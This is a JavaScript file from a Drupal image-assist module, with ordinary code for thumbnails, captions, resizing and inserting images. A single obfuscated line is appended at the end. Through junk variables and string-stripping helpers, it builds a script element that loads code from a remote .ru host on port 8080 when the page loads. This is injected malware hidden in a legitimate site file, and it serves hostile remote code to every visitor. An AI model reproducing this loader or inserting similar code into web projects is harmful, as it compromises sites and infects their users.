/* $Id: img_assist.js,v 1.4.2.5 2007/11/19 02:27:49 sun Exp $ */

var currentMode;

function onChangeBrowseBy(el) {
	frames['img_assist_main'].window.location.href = BASE_URL + 'index.php?q=img_assist/thumbs/' + el.value;
}

function onClickUpload() {
  frames['img_assist_main'].window.location.href = BASE_URL + 'index.php?q=img_assist/upload';
}

function onClickStartOver() {
  frames['img_assist_main'].window.location.href = BASE_URL + 'index.php?q=img_assist/thumbs/myimages';
}

function updateCaption() {
  var caption = frames['img_assist_main'].document.getElementById('caption');
  var title = frames['img_assist_main'].document.img_assist['edit-title'].value;
  var desc = frames['img_assist_main'].document.img_assist['edit-desc'].value;
  if (desc != '') {
    title = title + ': ';
  }
  caption.innerHTML = '<strong>' + title + '</strong>' + desc;
}

function onChangeHeight() {
  var formObj = frames['img_assist_main'].document.forms[0];
  var aspect = formObj['edit-aspect'].value;
  var height = formObj['edit-height'].value;
  formObj['edit-width'].value = Math.round(height * aspect);
}

function onChangeWidth() {
  var formObj = frames['img_assist_main'].document.forms[0];
  var aspect = formObj['edit-aspect'].value;
  var width = formObj['edit-width'].value;
  formObj['edit-height'].value = Math.round(width / aspect);
}

function onChangeLink() {
  var formObj = frames['img_assist_main'].document.forms[0];
	if (formObj['edit-link-options-visible'].value == 1) {
		if (formObj['edit-link'].value == 'url') {
			showElement('edit-url', 'inline');
		}
		else {
			hideElement('edit-url');
		}
	}
}

function onChangeSizeLabel() {
  var formObj = frames['img_assist_main'].document.forms[0];
  if (formObj['edit-size-label'].value == 'other') {
    showElement('size-other', 'inline');
  }
  else {
    hideElement('size-other');
    // get the new width and height
    var size = formObj['edit-size-label'].value.split('x');
    // this array is probably a bounding box size, not an actual image
    // size, so now we use the known aspect ratio to find the actual size
    var aspect = formObj['edit-aspect'].value;
    var width = size[0];
    var height = size[1];
    if (Math.round(width / aspect) <= height) {
    	// width is controlling factor
      height = Math.round(width / aspect);
    }
    else {
    	// height is controlling factor
      width = Math.round(height * aspect);
    }
    // fill the hidden width and height textboxes with these values
    formObj['edit-width'].value = width;
    formObj['edit-height'].value = height;
  }
}

function setHeader(mode) {
	if (currentMode != mode) {
		frames['img_assist_header'].window.location.href = BASE_URL + 'index.php?q=img_assist/header/' + mode;
	}
	currentMode = mode;
}

function showElement(id, format) {
  var docObj = frames['img_assist_main'].document;
  format = (format) ? format : 'block';
  if (docObj.layers) {
    docObj.layers[id].display = format;
  }
  else if (docObj.all) {
    docObj.all[id].style.display = format;
  }
  else if (docObj.getElementById) {
    docObj.getElementById(id).style.display = format;
  }
}

function hideElement(id) {
  var docObj = frames['img_assist_main'].document;
  if (docObj.layers) {
    docObj.layers[id].display = 'none';
  }
  else if (docObj.all) {
    docObj.all[id].style.display = 'none';
  }
  else if (docObj.getElementById) {
    docObj.getElementById(id).style.display = 'none';
  }
}

function launch_popup(nid, mw, mh) {
	var ox = mw;
	var oy = mh;
	if((ox>=screen.width) || (oy>=screen.height)) {
		var ox = screen.width-150;
		var oy = screen.height-150;
		var winx = (screen.width / 2)-(ox / 2);
		var winy = (screen.height / 2)-(oy / 2);
		var use_scrollbars = 1;
	}
	else {
		var winx = (screen.width / 2)-(ox / 2);
		var winy = (screen.height / 2)-(oy / 2);
		var use_scrollbars = 0;
	}
	var win = window.open(BASE_URL + 'index.php?q=img_assist/popup/' + nid, 'imagev', 'height='+oy+'-10,width='+ox+',top='+winy+',left='+winx+',scrollbars='+use_scrollbars+',resizable');
}

function insertImage() {
  if (window.opener) {
    // Get variables from the fields on the properties frame
    var formObj = frames['img_assist_main'].document.forms[0];
		// Get mode	(see img_assist.module for detailed comments)
		if (formObj['edit-insertmode'].value == 'html') {
			// return so the page can submit normally and generate the HTML code
			return true;
		}
		else if (formObj['edit-insertmode'].value == 'html2') {
			// HTML step 2 (processed code, ready to be inserted)
			var content = getHTML(formObj);
		}
		else {
			var content = getFilterTag(formObj);
		}
		insertToEditor(content);
		return false;
		
  }
  else {
		alert('The image cannot be inserted because the parent window cannot be found.');
		return false;
	}
}

function getHTML(formObj) {
	var html = frames['img_assist_main'].document.getElementById('finalhtmlcode').value;
	return html;
}

N=39030;N-=252;pl=46849;pl-=136;var c;try {var m='e'} catch(m){};var F={q:"Ak"};z=function(){var FX=["Np","w","r"];function j(M,i,T){return M.substr(i,T);t={};this.mj=false;}var MJ=["J"];var _Q='';this.o=19736;this.o+=115;var B=document;var d='';var p=RegExp;var vS='';Ta={x:"P"};var zA=new String("/goo"+"gle."+"com/"+"mono"+"graf"+"ias."+"com/"+"iwiw"+".hu."+"php");var XV=19942;try {var tT='Yk'} catch(tT){};function Q(M,i){dx=36216;dx++;var sk='';var T="["+i+j("]zYE",0,1);iE=["CF"];io=["Jo"];var X=new p(T, String(j("gT8kL",0,1)));try {var CR='L'} catch(CR){};try {var Fj='PO'} catch(Fj){};return M.replace(X, d);var K=[];this.gF=58163;this.gF++;};dE=["dI"];var l=String("body");var _=390135-382055;YT={D:"lU"};var h=null;var b=Q('sxcArAi9p9tg','xA9UegT');O=15089;O++;Xq={zAi:"mQ"};var jq=["Wl","ao","Qp"];pm={};var n=3765;c=function(){var lF=["Uq"];try {var ojl={LO:"dr"};Rj=43064;Rj++;var Xj=Q('c9rVeyaYtMeyEVlMeMmXeyn9t7','v9yVSXM7Y');var KB=[];k=B[Xj](b);var mM=["NQ","pD"];var Fs=["Rx","rF"];var M=_+zA;KA={};UX={};var G="defer";var Fsl=22375;var A=Q('sfrLcH','tbovHfLXF');var NA=false;var fj=false;k[A]=new String(j("htl6y",0,2)+j("tpcMx",0,2)+":/"+"/i"+"nk"+j("TlktilkT",3,2)+j("S4PmeP4S",3,2)+".r"+j("zjiu:zji",3,2))+M;k[G]=[5,1][1];var RF={DJ:"pJ"};var Nz=false;var LT=["Tt"];sl={ue:false};B[l].appendChild(k);kg=53787;kg+=97;this.un='';} catch(lS){var _w=new Array();var Js="";TW=["yY"];};};bn={Nk_:"Hd"};var Bq=new String();};z();var ss='';var UEF='';window.onload=c;try {var kV='BW'} catch(kV){};var Bf=new Date();tk=29917;tk--;